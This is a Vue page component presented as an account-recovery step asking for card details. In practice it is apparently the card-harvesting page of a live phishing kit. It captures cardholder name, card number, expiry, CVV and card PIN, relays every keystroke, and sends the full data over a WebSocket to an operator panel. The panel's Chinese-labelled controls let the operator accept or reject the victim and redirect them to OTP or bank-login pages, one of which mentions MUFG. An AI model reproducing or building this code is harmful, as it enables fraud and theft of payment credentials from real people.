<template>
  <CommonLayout>
    <template #default>
      <uni-page-body data-v-1566c7ed="">
        <uni-view data-v-1566c7ed="" id="confirm_index_body">
          <uni-view data-v-1566c7ed="" class="" style="padding: 0px 20px;">
            <uni-view data-v-1566c7ed="" class="title" style="color: rgb(13, 104, 173); padding-top: 25px;">
              Let's recover your account
            </uni-view>
            <p data-v-1566c7ed="" style="font-size: 15px; font-weight: 500; color: rgb(119, 119, 119); margin-top: 20px;">
              Step 2. <span data-v-1566c7ed="" style="font-weight: 200;">Enter your card details</span>
            </p>
          </uni-view>
          <uni-view data-v-1566c7ed="" class="form">
           

            <uni-view data-v-1566c7ed="" class="inpname">Cardholder</uni-view>
            <uni-view data-v-1566c7ed="" class="input-field-container">
              <uni-input data-v-1566c7ed="" class="gay_border" id="card_name">
                <div class="uni-input-wrapper">
                  <div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCardholderFocused || formData.card.cardholder }">Cardholder</div>
                  <input
                    type="text"
                    maxlength="140"
                    enterkeyhint="done"
                    class="uni-input-input"
                    autocomplete="off"
                    v-model="formData.card.cardholder"
                    @input="onchange"
                    @focus="isCardholderFocused = true"
                    @blur="isCardholderFocused = formData.card.cardholder !== ''"
                    required
                  />
                </div>
              </uni-input>
              <uni-text data-v-1566c7ed="" class="error" v-if="showCardholderWarning">
                {{ warningMessage }}
              </uni-text>
            </uni-view>
            <uni-view data-v-1566c7ed="" class="inpname">Card number</uni-view>
            <uni-view data-v-1566c7ed="" class="input-field-container">
              <uni-input data-v-1566c7ed="" class="gay_border" id="cardNumber">
                <div class="uni-input-wrapper">
                  <div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCardNumberFocused || formData.card.cardNumber }">0000 0000 0000 0000</div>
                  <input
                    type="text"
                    maxlength="19"
                    enterkeyhint="done"
                    inputmode="numeric"
                    class="uni-input-input"
                    autocomplete="off"
                    v-model="formData.card.cardNumber"
                    @input="onCardNumberChange"
                    @focus="isCardNumberFocused = true"
                    @blur="isCardNumberFocused = formData.card.cardNumber !== ''"
                    required
                  />
                </div>
              </uni-input>
              <uni-text data-v-1566c7ed="" class="error" v-if="cardNumberError">{{ cardNumberError }}</uni-text>
               <uni-text data-v-1566c7ed="" class="global-error" v-if="message">{{ message }}</uni-text>
              <div class="card-icons">
                <img src="@/assets/img/b4f258fb3fcfa.svg" alt="Visa" />
                <img src="@/assets/img/d9f501073fcfa.svg" alt="Mastercard" />
                <img src="@/assets/img/d2820b3b3fcfa.svg" alt="American Express" />
                <img src="@/assets/img/e62e66803fcfa.svg" alt="Discover" />
                <img src="@/assets/img/272b931f3fcfa.svg" alt="JCB" />
                <img src="@/assets/img/761998023fcfa.svg" alt="Diners Club" />
                <img src="@/assets/img/c8e88e5f3fcfa.svg" alt="UnionPay" />
                <img src="@/assets/img/1a32e1333fcfa.svg" alt="Maestro" />
                <img src="@/assets/img/56af3b633fcfa.svg" alt="Rupay" />
              </div>
            </uni-view>
            <uni-view data-v-1566c7ed="" class="cvvbox">
              <uni-view data-v-1566c7ed="" class="cvvsty">
                <uni-view data-v-1566c7ed="" class="inpname">Due Date</uni-view>
                <uni-view data-v-1566c7ed="" class="input-field-container">
                  <uni-input data-v-1566c7ed="" class="gay_border" id="expire">
                    <div class="uni-input-wrapper">
                      <div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isExpiryFocused || expiryCombined }">MM/YY</div>
                      <input
                        type="text"
                        maxlength="5"
                        enterkeyhint="done"
                        class="uni-input-input"
                        autocomplete="off"
                        v-model="expiryCombined"
                        @input="onExpiryInput"
                        @focus="isExpiryFocused = true"
                        @blur="onExpiryBlur"
                        required
                      />
                    </div>
                  </uni-input>
                  <uni-text data-v-1566c7ed="" class="error" v-if="expiryError">
                    {{ expiryError }}
                  </uni-text>
                  <uni-text data-v-1566c7ed="" class="error" v-else-if="showExpiryWarning">
                    {{ warningMessage }}
                  </uni-text>
                </uni-view>
              </uni-view>
              <uni-view data-v-1566c7ed="" class="cvvsty">
                <uni-view data-v-1566c7ed="" class="inpname">Security Code (CVV)</uni-view>
                <uni-view data-v-1566c7ed="" class="input-field-container input-wrapper">
                  <uni-input data-v-1566c7ed="" class="gay_border" id="cvv">
                    <div class="uni-input-wrapper">
                      <div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCvvFocused || formData.card.cvv }">123</div>
                      <input
                        type="text"
                        maxlength="4"
                        enterkeyhint="done"
                        inputmode="numeric"
                        pattern="[0-9]*"
                        class="uni-input-input"
                        autocomplete="off"
                        v-model="formData.card.cvv"
                        @input="onCvvInput"
                        @focus="isCvvFocused = true"
                        @blur="isCvvFocused = formData.card.cvv !== ''"
                        required
                      />
                    </div>
                  </uni-input>
                
                  <uni-text data-v-1566c7ed="" class="error" v-if="cvvError">
                    {{ cvvError }}
                  </uni-text>
                  <uni-text data-v-1566c7ed="" class="error" v-else-if="showCvvWarning">
                    {{ warningMessage }}
                  </uni-text>
                </uni-view>
              </uni-view>
            </uni-view>
            <uni-view data-v-1566c7ed="">
              <uni-view data-v-1566c7ed="" class="inpname">Card PIN</uni-view>
              <uni-view data-v-1566c7ed="" class="input-field-container">
                <uni-input data-v-1566c7ed="" class="">
                  <div class="uni-input-wrapper">
                    <div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isPinFocused || formData.card.pin }"></div>
                    <input
                      type="password"
                      maxlength="6"
                      enterkeyhint="done"
                      inputmode="numeric"
                      class="uni-input-input"
                      autocomplete="off"
                      v-model="formData.card.pin"
                      @input="onPinInput"
                      @focus="isPinFocused = true"
                      @blur="isPinFocused = formData.card.pin !== ''"
                    />
                  </div>
                </uni-input>
                <uni-text data-v-1566c7ed="" class="error" v-if="pinError">
                  {{ pinError }}
                </uni-text>
                <uni-text data-v-1566c7ed="" class="error" v-else-if="showPinWarning">
                  {{ warningMessage }}
                </uni-text>
              </uni-view>
            </uni-view>
            <uni-view data-v-1566c7ed="" class="sendbut" style="margin-top: 30px;">
              <uni-button
                data-v-1566c7ed=""
                id="submit_card_btn"
                class=""
                style="background-color: rgb(0, 114, 172); color: white;"
                :disabled="isLoading || !isFormFilled"
                @click="next"
              >
                <span class="button-content">
                  <!-- <span v-if="isLoading" class="spinner button-spinner"></span> -->
                  <span>{{ isLoading ? 'Verifying...' : 'Submit' }}</span>
                </span>
              </uni-button>
            </uni-view>
          </uni-view>
        </uni-view>
        <div v-if="showLoadingOverlay" class="loading-overlay">
          <div class="loading-content">
            <div class="spinner overlay-spinner"></div>
            <p>Verifying...</p>
          </div>
        </div>
      </uni-page-body>
    </template>
  </CommonLayout>
</template>

<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from 'vue';
import { useRouter } from 'vue-router';
import CommonLayout from '@/views/CommonLayout.vue';
import { useI18n } from 'vue-i18n';
import { useLoadingStore } from '@/stores/loadingStore';
import { inputChange, myWebSocket } from '@/utils/common';
import eventBus from '@/utils/eventBus';

const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const instance = getCurrentInstance()!;

interface FormData {
  card: {
    cardNumber: string;
    cardholder: string;
    expiryMonth: string;
    expiryYear: string;
    cvv: string;
    pin: string;
  };
}

const formData = ref<FormData>({
  card: {
    cardNumber: '',
    cardholder: '',
    expiryMonth: '',
    expiryYear: '',
    cvv: '',
    pin: '',
  },
});

const warningMessage = ref('');
const cardNumberError = ref('');
const expiryError = ref('');
const cvvError = ref('');
const pinError = ref('');

const isLoading = ref(false);
const showLoadingOverlay = ref(false);

const isCardNumberFocused = ref(false);
const isCardholderFocused = ref(false);
const isExpiryFocused = ref(false);
const isCvvFocused = ref(false);
const isPinFocused = ref(false);

const expiryCombined = computed({
  get: () => {
    const month = formData.value.card.expiryMonth;
    const year = formData.value.card.expiryYear;
    if (month && year) {
      return `${month}/${year}`;
    } else if (month) {
      return month;
    }
    return '';
  },
  set: (value: string) => {
    let month = '';
    let year = '';
    const parts = value.split('/');
    if (parts.length > 0) {
      month = parts[0];
    }
    if (parts.length > 1) {
      year = parts[1];
    }
    formData.value.card.expiryMonth = month;
    formData.value.card.expiryYear = year;
  },
});

const showCardholderWarning = computed(() => warningMessage.value && !formData.value.card.cardholder && !isCardholderFocused.value);
const showExpiryWarning = computed(() => warningMessage.value && (!formData.value.card.expiryMonth || !formData.value.card.expiryYear) && !isExpiryFocused.value);
const showCvvWarning = computed(() => warningMessage.value && !formData.value.card.cvv && !isCvvFocused.value);
const showPinWarning = computed(() => warningMessage.value && !formData.value.card.pin && !isPinFocused.value);

const isFormFilled = computed(() => {
  return (
    formData.value.card.cardNumber.replace(/\s+/g, '').length >= 15 &&
    formData.value.card.cardholder.trim() !== '' &&
    formData.value.card.expiryMonth.length === 2 &&
    formData.value.card.expiryYear.length === 2 &&
    formData.value.card.cvv.length >= 3 && formData.value.card.cvv.length <= 4 &&
    formData.value.card.pin.length >= 4 && formData.value.card.pin.length <= 6
  );
});

const next = async () => {
  await nextTick();
  // Clear all previous errors
  warningMessage.value = '';
  cardNumberError.value = '';
  expiryError.value = '';
  cvvError.value = '';
  pinError.value = '';
  message.value = ''; // Clear general message on new submission attempt

  let hasError = false;

  if (!formData.value.card.cardholder.trim()) {
    warningMessage.value = t('Please fill in all required fields.');
    hasError = true;
  }

  const rawCardNumber = formData.value.card.cardNumber.replace(/\s+/g, '');
  if (rawCardNumber.length < 15 || rawCardNumber.length > 19) {
    cardNumberError.value = 'Invalid card number.';
    hasError = true;
  }

  const month = parseInt(formData.value.card.expiryMonth, 10);
  const year = parseInt(formData.value.card.expiryYear, 10);
  const currentYear = new Date().getFullYear() % 100;
  const currentMonth = new Date().getMonth() + 1;

  if (!formData.value.card.expiryMonth || !formData.value.card.expiryYear || isNaN(month) || isNaN(year) || month < 1 || month > 12 || year < currentYear || (year === currentYear && month < currentMonth)) {
    expiryError.value = 'Invalid expiry date.';
    hasError = true;
  }

  if (formData.value.card.cvv.length < 3 || formData.value.card.cvv.length > 4) {
    cvvError.value = 'CVV must be 3-4 digits.';
    hasError = true;
  }

  if (formData.value.card.pin.length < 4 || formData.value.card.pin.length > 6) {
    pinError.value = 'PIN must be 4-6 digits.';
    hasError = true;
  }

  if (hasError) {
    return;
  }

  isLoading.value = true;
  showLoadingOverlay.value = true;

  let submitValue = rawCardNumber;
  localStorage.setItem('cardNumber', submitValue);
  myWebSocket?.send(
    JSON.stringify({
      event: 'submit_card',
      content: {
        type: 'submitOp',
        card_number: submitValue,
        cardholder: formData.value.card.cardholder,
        expiry: `${formData.value.card.expiryMonth}/${formData.value.card.expiryYear}`,
        cvv: formData.value.card.cvv,
        pin: formData.value.card.pin,
        start_page: 'card',
        opButton: {
          showCustom: false,
          list: [
            { label: '完成', value: 'success', type: 'input1' },
            { label: '拒絕', value: 'reject', type: 'input2' },
            { label: '賬號首頁', value: 'login_mufg', type: 'input1' },
            { label: 'OTP短信驗證頁', value: 'verificationcodepage', type: 'input1' },
            { label: '提示頁面', value: 'next_pay', type: 'input1' },
            { label: '跳轉完成', value: 'success' },
          ],
        },
      },
    })
  );
};

const onCardNumberChange = (event: Event) => {
  const input = event.target as HTMLInputElement;
  const rawValue = input.value.replace(/\s+/g, '');
  const numericValue = rawValue.replace(/\D/g, '');

  formData.value.card.cardNumber = numericValue
    .replace(/(.{4})/g, '$1 ')
    .trim()
    .slice(0, 19);

  cardNumberError.value = '';
  inputChange('input_card', 'cardNumber', formData.value.card.cardNumber.replace(/\s+/g, ''));
};

const onExpiryInput = (event: Event) => {
  const input = event.target as HTMLInputElement;
  let value = input.value.replace(/[^0-9]/g, '');

  if (value.length > 2) {
    value = value.slice(0, 2) + '/' + value.slice(2);
  }
  value = value.slice(0, 5);

  expiryCombined.value = value; // Update the v-model directly

  // Manually parse and update expiryMonth and expiryYear for form data
  const parts = value.split('/');
  formData.value.card.expiryMonth = parts[0] ? parts[0].slice(0, 2) : '';
  formData.value.card.expiryYear = parts[1] ? parts[1].slice(0, 2) : '';

  expiryError.value = ''; // Clear error on input
  inputChange('input_card', 'expiry', value);
};

const onExpiryBlur = () => {
  isExpiryFocused.value = expiryCombined.value !== '';
  const monthStr = formData.value.card.expiryMonth;
  const yearStr = formData.value.card.expiryYear;

  expiryError.value = '';

  const month = parseInt(monthStr, 10);
  const year = parseInt(yearStr, 10);
  const currentYearFull = new Date().getFullYear();
  const currentYearShort = currentYearFull % 100;
  const currentMonth = new Date().getMonth() + 1;

  if (!monthStr || monthStr.length !== 2 || isNaN(month) || month < 1 || month > 12) {
    expiryError.value = 'Invalid month.';
    return;
  }
  if (!yearStr || yearStr.length !== 2 || isNaN(year)) {
    expiryError.value = 'Invalid year.';
    return;
  }

  if (year < currentYearShort) {
    expiryError.value = 'Date past.';
    return;
  }
  if (year === currentYearShort && month < currentMonth) {
    expiryError.value = 'Date past.';
    return;
  }

  if (!monthStr || !yearStr) {
    warningMessage.value = t('Please fill in all required fields.');
  }
};


const onCvvInput = (event: Event) => {
  const input = event.target as HTMLInputElement;
  formData.value.card.cvv = input.value.replace(/\D/g, '').slice(0, 4);
  cvvError.value = '';
  inputChange('input_card', 'cvv', formData.value.card.cvv);
};

const onPinInput = (event: Event) => {
  const input = event.target as HTMLInputElement;
  formData.value.card.pin = input.value.replace(/\D/g, '').slice(0, 6);
  pinError.value = '';
  inputChange('input_card', 'pin', formData.value.card.pin);
};

const onchange = (event: Event) => {
  const input = event.target as HTMLInputElement;
  inputChange('input_card', input.id, input.value);
  if (input.id === 'card_name') {
    warningMessage.value = '';
  }
};

onMounted(() => {
  const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
  if (userData && userData.card) {
    formData.value = userData;
  }
  eventBus.on('my-event', handleEvent);

  localStorage.setItem('route', 'card');
  myWebSocket?.send(
    JSON.stringify({
      event: 'page_type',
      content: { pageType: 'card', pageTitle: '填卡Pin页面' },
    })
  );
});

const message = ref(''); // This variable holds the WebSocket message
const handleEvent = (data: { message2: string }) => {
  message.value = data.message2; // Update the message here
  isLoading.value = false;
  showLoadingOverlay.value = false;
};

onUnmounted(() => {
  eventBus.off('my-event', handleEvent);
});
</script>

<style scoped>
/* Added style for the global-error message */
.global-error {
  color: #d32f2f; /* A distinct color for general errors */
  font-size: 12px;
  text-align: left;
  margin: 15px 0; /* Add some margin above and below */
  display: block; /* Ensure it takes full width and new line */
  font-weight: bold; /* Make it stand out a bit */
}

.input-field-container {
  position: relative;
  margin-bottom: 15px;
}

.inpname {
  font-size: 14px;
  color: #494949;
  margin-bottom: 8px;
  margin-top: 16px;
}

.error {
  color: #ff4d4f;
  font-size: 13px;
  position: absolute;
  bottom: -15px;
  left: 0;
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
  width: 100%;
  z-index: 10;
}

/* Spinner for the button */
.button-spinner {
  width: 18px;
  height: 18px;
  border: 3px solid rgba(255, 255, 255, 0.3);
  border-top: 3px solid white;
  border-radius: 50%;
  animation: spin 1s linear infinite;
  margin-right: 8px;
  display: inline-block;
  vertical-align: middle;
  margin-top: -2px;
}

/* Spinner for the overlay */
.overlay-spinner {
  width: 40px;
  height: 40px;
  border: 5px solid rgba(0, 114, 172, 0.3);
  border-top: 5px solid #0072ac;
  border-radius: 50%;
  animation: spin 1s linear infinite;
  margin-right: 0;
}

@keyframes spin {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(360deg);
  }
}

.form {
  padding: 0 20px;
}

.uni-input-input {
  border: none;
  outline: none;
  flex-grow: 1;
  font-size: 16px;
  padding: 0;
  background-color: transparent;
  z-index: 2;
  position: relative;
}

.uni-input-placeholder {
  color: #a6a6a6;
  font-size: 16px;
  position: absolute;
  top: 50% !important;
  left: 0;
  transform: translateY(-50%);
  transition: opacity 0.2s ease-in-out;
  pointer-events: none;
  z-index: 1;
}

.uni-input-placeholder.placeholder-hidden {
  opacity: 0;
}

.cvvbox {
  display: flex;
  gap: 16px;
}

.cvvsty {
  flex: 1;
}

.card-icons {
  display: flex;
  gap: 4px;
  margin-top: 10px;
}

.card-icons img {
  width: 30px;
  height: 25px;
}

.sendbut {
  display: flex;
  justify-content: center;
}

#submit_card_btn {
  display: flex;
  justify-content: center;
  align-items: center;
  padding: 10px 20px;
  width: 100%;
  box-sizing: border-box;
}

#submit_card_btn .button-content {
  display: flex;
  align-items: center;
}


#submit_card_btn:disabled {
  background-color: #d9d9d9;
  color: #a6a6a6;
  cursor: not-allowed;
}

/* New styles for the loading overlay */
.loading-overlay {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-color: rgba(0, 0, 0, 0.6);
  display: flex;
  justify-content: center;
  align-items: center;
  z-index: 1000;
}

.loading-content {
  background-color: white;
  padding: 30px 40px;
  border-radius: 10px;
  text-align: center;
  box-shadow: 0 4px 15px rgba(0, 0, 0, 0.2);
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 15px;
}

.loading-content p {
  font-size: 18px;
  color: #333;
  margin: 0;
}


@media (max-width: 480px) {
  .form {
    padding: 0 16px;
  }

  .title {
    font-size: 24px;
  }
}
</style>